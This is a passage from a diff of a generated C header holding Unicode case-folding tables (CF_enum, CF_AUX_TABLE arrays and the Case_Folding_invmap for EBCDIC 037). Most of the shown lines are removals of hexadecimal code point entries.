0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F80, - 0x1F81, - 0x1F82, - 0x1F83, - 0x1F84, - 0x1F85, - 0x1F86, - 0x1F87, - 0x1F88, - 0x1F89, - 0x1F8A, - 0x1F8B, - 0x1F8C, - 0x1F8D, - 0x1F8E, - 0x1F8F, - 0x1F90, - 0x1F91, - 0x1F92, - 0x1F93, - 0x1F94, - 0x1F95, - 0x1F96, - 0x1F97, - 0x1F98, - 0x1F99, - 0x1F9A, - 0x1F9B, - 0x1F9C, - 0x1F9D, - 0x1F9E, - 0x1F9F, - 0x1FA0, - 0x1FA1, - 0x1FA2, - 0x1FA3, - 0x1FA4, - 0x1FA5, - 0x1FA6, - 0x1FA7, - 0x1FA8, - 0x1FA9, - 0x1FAA, - 0x1FAB, - 0x1FAC, - 0x1FAD, - 0x1FAE, - 0x1FAF, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FDA, - 0x1FDC, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, + 0x200B, + 0x200C, + 0x200D, + 0x200E, + 0x2010, + 0x2028, + 0x202F, + 0x2060, + 0x2070, + 0x20D0, + 0x20F1, + 0x261D, + 0x261E, + 0x26F9, + 0x26FA, + 0x270A, + 0x270E, + 0x2764, + 0x2765, + 0x2CEF, 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - CF_0 = 0, - CF_use_AUX_TABLE_1 = -1, - CF_use_AUX_TABLE_2 = -2, - CF_use_AUX_TABLE_3 = -3, - CF_use_AUX_TABLE_4 = -4, - CF_use_AUX_TABLE_5 = -5, - CF_use_AUX_TABLE_6 = -6, - CF_use_AUX_TABLE_7 = -7, - CF_use_AUX_TABLE_8 = -8, - CF_use_AUX_TABLE_9 = -9, - CF_use_AUX_TABLE_10 = -10, - CF_use_AUX_TABLE_11 = -11, - CF_use_AUX_TABLE_12 = -12, - CF_use_AUX_TABLE_13 = -13, - CF_use_AUX_TABLE_14 = -14, - CF_use_AUX_TABLE_15 = -15, - CF_use_AUX_TABLE_16 = -16, - CF_use_AUX_TABLE_17 = -17, - CF_use_AUX_TABLE_18 = -18, - CF_use_AUX_TABLE_19 = -19, - CF_use_AUX_TABLE_20 = -20, - CF_use_AUX_TABLE_21 = -21, - CF_use_AUX_TABLE_22 = -22, - CF_use_AUX_TABLE_23 = -23, - CF_use_AUX_TABLE_24 = -24, - CF_use_AUX_TABLE_25 = -25, - CF_use_AUX_TABLE_26 = -26, - CF_use_AUX_TABLE_27 = -27, - CF_use_AUX_TABLE_28 = -28, - CF_use_AUX_TABLE_29 = -29, - CF_use_AUX_TABLE_30 = -30, - CF_use_AUX_TABLE_31 = -31, - CF_use_AUX_TABLE_32 = -32, - CF_use_AUX_TABLE_33 = -33, - CF_use_AUX_TABLE_34 = -34, - CF_use_AUX_TABLE_35 = -35, - CF_use_AUX_TABLE_36 = -36, - CF_use_AUX_TABLE_37 = -37, - CF_use_AUX_TABLE_38 = -38, - CF_use_AUX_TABLE_39 = -39, - CF_use_AUX_TABLE_40 = -40, - CF_use_AUX_TABLE_41 = -41, - CF_use_AUX_TABLE_42 = -42, - CF_use_AUX_TABLE_43 = -43, - CF_use_AUX_TABLE_44 = -44, - CF_use_AUX_TABLE_45 = -45, - CF_use_AUX_TABLE_46 = -46, - CF_use_AUX_TABLE_47 = -47, - CF_use_AUX_TABLE_48 = -48, - CF_use_AUX_TABLE_49 = -49, - CF_use_AUX_TABLE_50 = -50, - CF_use_AUX_TABLE_51 = -51, - CF_use_AUX_TABLE_52 = -52, - CF_use_AUX_TABLE_53 = -53, - CF_use_AUX_TABLE_54 = -54, - CF_use_AUX_TABLE_55 = -55, - CF_use_AUX_TABLE_56 = -56, - CF_use_AUX_TABLE_57 = -57, - CF_use_AUX_TABLE_58 = -58, - CF_use_AUX_TABLE_59 = -59, - CF_use_AUX_TABLE_60 = -60, - CF_use_AUX_TABLE_61 = -61, - CF_use_AUX_TABLE_62 = -62, - CF_use_AUX_TABLE_63 = -63, - CF_use_AUX_TABLE_64 = -64, - CF_use_AUX_TABLE_65 = -65, - CF_use_AUX_TABLE_66 = -66, - CF_use_AUX_TABLE_67 = -67, - CF_use_AUX_TABLE_68 = -68, - CF_use_AUX_TABLE_69 = -69, - CF_use_AUX_TABLE_70 = -70, - CF_use_AUX_TABLE_71 = -71, - CF_use_AUX_TABLE_72 = -72, - CF_use_AUX_TABLE_73 = -73 -} CF_enum; - -#define HAS_CF_AUX_TABLES - -static const unsigned int CF_AUX_TABLE_1[] = { - 0xA2, - 0xA2 -}; - -static const unsigned int CF_AUX_TABLE_2[] = { - 0x89, - 0x307 -}; - -static const unsigned int CF_AUX_TABLE_3[] = { - 0x2BC, - 0x95 -}; - -static const unsigned int CF_AUX_TABLE_4[] = { - 0x91, - 0x30C -}; - -static const unsigned int CF_AUX_TABLE_5[] = { - 0x3B9, - 0x308, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_6[] = { - 0x3C5, - 0x308, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_7[] = { - 0x565, - 0x582 -}; - -static const unsigned int CF_AUX_TABLE_8[] = { - 0x88, - 0x331 -}; - -static const unsigned int CF_AUX_TABLE_9[] = { - 0xA3, - 0x308 -}; - -static const unsigned int CF_AUX_TABLE_10[] = { - 0xA6, - 0x30A -}; - -static const unsigned int CF_AUX_TABLE_11[] = { - 0xA8, - 0x30A -}; - -static const unsigned int CF_AUX_TABLE_12[] = { - 0x81, - 0x2BE -}; - -static const unsigned int CF_AUX_TABLE_13[] = { - 0x3C5, - 0x313 -}; - -static const unsigned int CF_AUX_TABLE_14[] = { - 0x3C5, - 0x313, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_15[] = { - 0x3C5, - 0x313, - 0x301 -}; - -static const unsigned int CF_AUX_TABLE_16[] = { - 0x3C5, - 0x313, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_17[] = { - 0x1F00, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_18[] = { - 0x1F01, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_19[] = { - 0x1F02, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_20[] = { - 0x1F03, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_21[] = { - 0x1F04, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_22[] = { - 0x1F05, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_23[] = { - 0x1F06, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_24[] = { - 0x1F07, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_25[] = { - 0x1F20, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_26[] = { - 0x1F21, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_27[] = { - 0x1F22, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_28[] = { - 0x1F23, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_29[] = { - 0x1F24, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_30[] = { - 0x1F25, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_31[] = { - 0x1F26, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_32[] = { - 0x1F27, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_33[] = { - 0x1F60, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_34[] = { - 0x1F61, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_35[] = { - 0x1F62, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_36[] = { - 0x1F63, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_37[] = { - 0x1F64, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_38[] = { - 0x1F65, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_39[] = { - 0x1F66, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_40[] = { - 0x1F67, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_41[] = { - 0x1F70, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_42[] = { - 0x3B1, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_43[] = { - 0x3AC, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_44[] = { - 0x3B1, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_45[] = { - 0x3B1, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_46[] = { - 0x1F74, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_47[] = { - 0x3B7, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_48[] = { - 0x3AE, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_49[] = { - 0x3B7, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_50[] = { - 0x3B7, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_51[] = { - 0x3B9, - 0x308, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_52[] = { - 0x3B9, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_53[] = { - 0x3B9, - 0x308, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_54[] = { - 0x3C5, - 0x308, - 0x300 -}; - -static const unsigned int CF_AUX_TABLE_55[] = { - 0x3C1, - 0x313 -}; - -static const unsigned int CF_AUX_TABLE_56[] = { - 0x3C5, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_57[] = { - 0x3C5, - 0x308, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_58[] = { - 0x1F7C, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_59[] = { - 0x3C9, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_60[] = { - 0x3CE, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_61[] = { - 0x3C9, - 0x342 -}; - -static const unsigned int CF_AUX_TABLE_62[] = { - 0x3C9, - 0x342, - 0x3B9 -}; - -static const unsigned int CF_AUX_TABLE_63[] = { - 0x86, - 0x86 -}; - -static const unsigned int CF_AUX_TABLE_64[] = { - 0x86, - 0x89 -}; - -static const unsigned int CF_AUX_TABLE_65[] = { - 0x86, - 0x93 -}; - -static const unsigned int CF_AUX_TABLE_66[] = { - 0x86, - 0x86, - 0x89 -}; - -static const unsigned int CF_AUX_TABLE_67[] = { - 0x86, - 0x86, - 0x93 -}; - -static const unsigned int CF_AUX_TABLE_68[] = { - 0xA2, - 0xA3 -}; - -static const unsigned int CF_AUX_TABLE_69[] = { - 0x574, - 0x576 -}; - -static const unsigned int CF_AUX_TABLE_70[] = { - 0x574, - 0x565 -}; - -static const unsigned int CF_AUX_TABLE_71[] = { - 0x574, - 0x56B -}; - -static const unsigned int CF_AUX_TABLE_72[] = { - 0x57E, - 0x576 -}; - -static const unsigned int CF_AUX_TABLE_73[] = { - 0x574, - 0x56D -}; - -static const unsigned int * const CF_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - CF_AUX_TABLE_1, - CF_AUX_TABLE_2, - CF_AUX_TABLE_3, - CF_AUX_TABLE_4, - CF_AUX_TABLE_5, - CF_AUX_TABLE_6, - CF_AUX_TABLE_7, - CF_AUX_TABLE_8, - CF_AUX_TABLE_9, - CF_AUX_TABLE_10, - CF_AUX_TABLE_11, - CF_AUX_TABLE_12, - CF_AUX_TABLE_13, - CF_AUX_TABLE_14, - CF_AUX_TABLE_15, - CF_AUX_TABLE_16, - CF_AUX_TABLE_17, - CF_AUX_TABLE_18, - CF_AUX_TABLE_19, - CF_AUX_TABLE_20, - CF_AUX_TABLE_21, - CF_AUX_TABLE_22, - CF_AUX_TABLE_23, - CF_AUX_TABLE_24, - CF_AUX_TABLE_25, - CF_AUX_TABLE_26, - CF_AUX_TABLE_27, - CF_AUX_TABLE_28, - CF_AUX_TABLE_29, - CF_AUX_TABLE_30, - CF_AUX_TABLE_31, - CF_AUX_TABLE_32, - CF_AUX_TABLE_33, - CF_AUX_TABLE_34, - CF_AUX_TABLE_35, - CF_AUX_TABLE_36, - CF_AUX_TABLE_37, - CF_AUX_TABLE_38, - CF_AUX_TABLE_39, - CF_AUX_TABLE_40, - CF_AUX_TABLE_41, - CF_AUX_TABLE_42, - CF_AUX_TABLE_43, - CF_AUX_TABLE_44, - CF_AUX_TABLE_45, - CF_AUX_TABLE_46, - CF_AUX_TABLE_47, - CF_AUX_TABLE_48, - CF_AUX_TABLE_49, - CF_AUX_TABLE_50, - CF_AUX_TABLE_51, - CF_AUX_TABLE_52, - CF_AUX_TABLE_53, - CF_AUX_TABLE_54, - CF_AUX_TABLE_55, - CF_AUX_TABLE_56, - CF_AUX_TABLE_57, - CF_AUX_TABLE_58, - CF_AUX_TABLE_59, - CF_AUX_TABLE_60, - CF_AUX_TABLE_61, - CF_AUX_TABLE_62, - CF_AUX_TABLE_63, - CF_AUX_TABLE_64, - CF_AUX_TABLE_65, - CF_AUX_TABLE_66, - CF_AUX_TABLE_67, - CF_AUX_TABLE_68, - CF_AUX_TABLE_69, - CF_AUX_TABLE_70, - CF_AUX_TABLE_71, - CF_AUX_TABLE_72, - CF_AUX_TABLE_73 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 CF_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* CF_AUX_TABLE_1 */, - 2 /* CF_AUX_TABLE_2 */, - 2 /* CF_AUX_TABLE_3 */, - 2 /* CF_AUX_TABLE_4 */, - 3 /* CF_AUX_TABLE_5 */, - 3 /* CF_AUX_TABLE_6 */, - 2 /* CF_AUX_TABLE_7 */, - 2 /* CF_AUX_TABLE_8 */, - 2 /* CF_AUX_TABLE_9 */, - 2 /* CF_AUX_TABLE_10 */, - 2 /* CF_AUX_TABLE_11 */, - 2 /* CF_AUX_TABLE_12 */, - 2 /* CF_AUX_TABLE_13 */, - 3 /* CF_AUX_TABLE_14 */, - 3 /* CF_AUX_TABLE_15 */, - 3 /* CF_AUX_TABLE_16 */, - 2 /* CF_AUX_TABLE_17 */, - 2 /* CF_AUX_TABLE_18 */, - 2 /* CF_AUX_TABLE_19 */, - 2 /* CF_AUX_TABLE_20 */, - 2 /* CF_AUX_TABLE_21 */, - 2 /* CF_AUX_TABLE_22 */, - 2 /* CF_AUX_TABLE_23 */, - 2 /* CF_AUX_TABLE_24 */, - 2 /* CF_AUX_TABLE_25 */, - 2 /* CF_AUX_TABLE_26 */, - 2 /* CF_AUX_TABLE_27 */, - 2 /* CF_AUX_TABLE_28 */, - 2 /* CF_AUX_TABLE_29 */, - 2 /* CF_AUX_TABLE_30 */, - 2 /* CF_AUX_TABLE_31 */, - 2 /* CF_AUX_TABLE_32 */, - 2 /* CF_AUX_TABLE_33 */, - 2 /* CF_AUX_TABLE_34 */, - 2 /* CF_AUX_TABLE_35 */, - 2 /* CF_AUX_TABLE_36 */, - 2 /* CF_AUX_TABLE_37 */, - 2 /* CF_AUX_TABLE_38 */, - 2 /* CF_AUX_TABLE_39 */, - 2 /* CF_AUX_TABLE_40 */, - 2 /* CF_AUX_TABLE_41 */, - 2 /* CF_AUX_TABLE_42 */, - 2 /* CF_AUX_TABLE_43 */, - 2 /* CF_AUX_TABLE_44 */, - 3 /* CF_AUX_TABLE_45 */, - 2 /* CF_AUX_TABLE_46 */, - 2 /* CF_AUX_TABLE_47 */, - 2 /* CF_AUX_TABLE_48 */, - 2 /* CF_AUX_TABLE_49 */, - 3 /* CF_AUX_TABLE_50 */, - 3 /* CF_AUX_TABLE_51 */, - 2 /* CF_AUX_TABLE_52 */, - 3 /* CF_AUX_TABLE_53 */, - 3 /* CF_AUX_TABLE_54 */, - 2 /* CF_AUX_TABLE_55 */, - 2 /* CF_AUX_TABLE_56 */, - 3 /* CF_AUX_TABLE_57 */, - 2 /* CF_AUX_TABLE_58 */, - 2 /* CF_AUX_TABLE_59 */, - 2 /* CF_AUX_TABLE_60 */, - 2 /* CF_AUX_TABLE_61 */, - 3 /* CF_AUX_TABLE_62 */, - 2 /* CF_AUX_TABLE_63 */, - 2 /* CF_AUX_TABLE_64 */, - 2 /* CF_AUX_TABLE_65 */, - 3 /* CF_AUX_TABLE_66 */, - 3 /* CF_AUX_TABLE_67 */, - 2 /* CF_AUX_TABLE_68 */, - 2 /* CF_AUX_TABLE_69 */, - 2 /* CF_AUX_TABLE_70 */, - 2 /* CF_AUX_TABLE_71 */, - 2 /* CF_AUX_TABLE_72 */, - 2 /* CF_AUX_TABLE_73 */ -}; - -static const int Case_Folding_invmap[] = { /* for EBCDIC 037 */ - 0, - CF_use_AUX_TABLE_1, - 0, - 0x42, - 0, - 0x51, - 0, - 0x70, - 0, - 0x9C, - 0, - 0x3BC, - 0, - 0x8C, - 0, - 0x81, - 0, - 0x91, - 0, - 0xA2, - 0, - 0xCB, - 0, - 0xDB, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - CF_use_AUX_TABLE_2, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - CF_use_AUX_TABLE_3, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xDF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0xA2, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - CF_use_AUX_TABLE_4, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x3B9, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - CF_use_AUX_TABLE_5, - 0x3B1, - 0, - 0x3C3, - 0, - CF_use_AUX_TABLE_6, - 0, - 0x3C3, - 0, - 0x3D7, - 0x3B2, - 0x3B8, - 0, - 0x3C6, - 0x3C0, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3BA, - 0x3C1, - 0, - 0x3B8, - 0x3B5, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 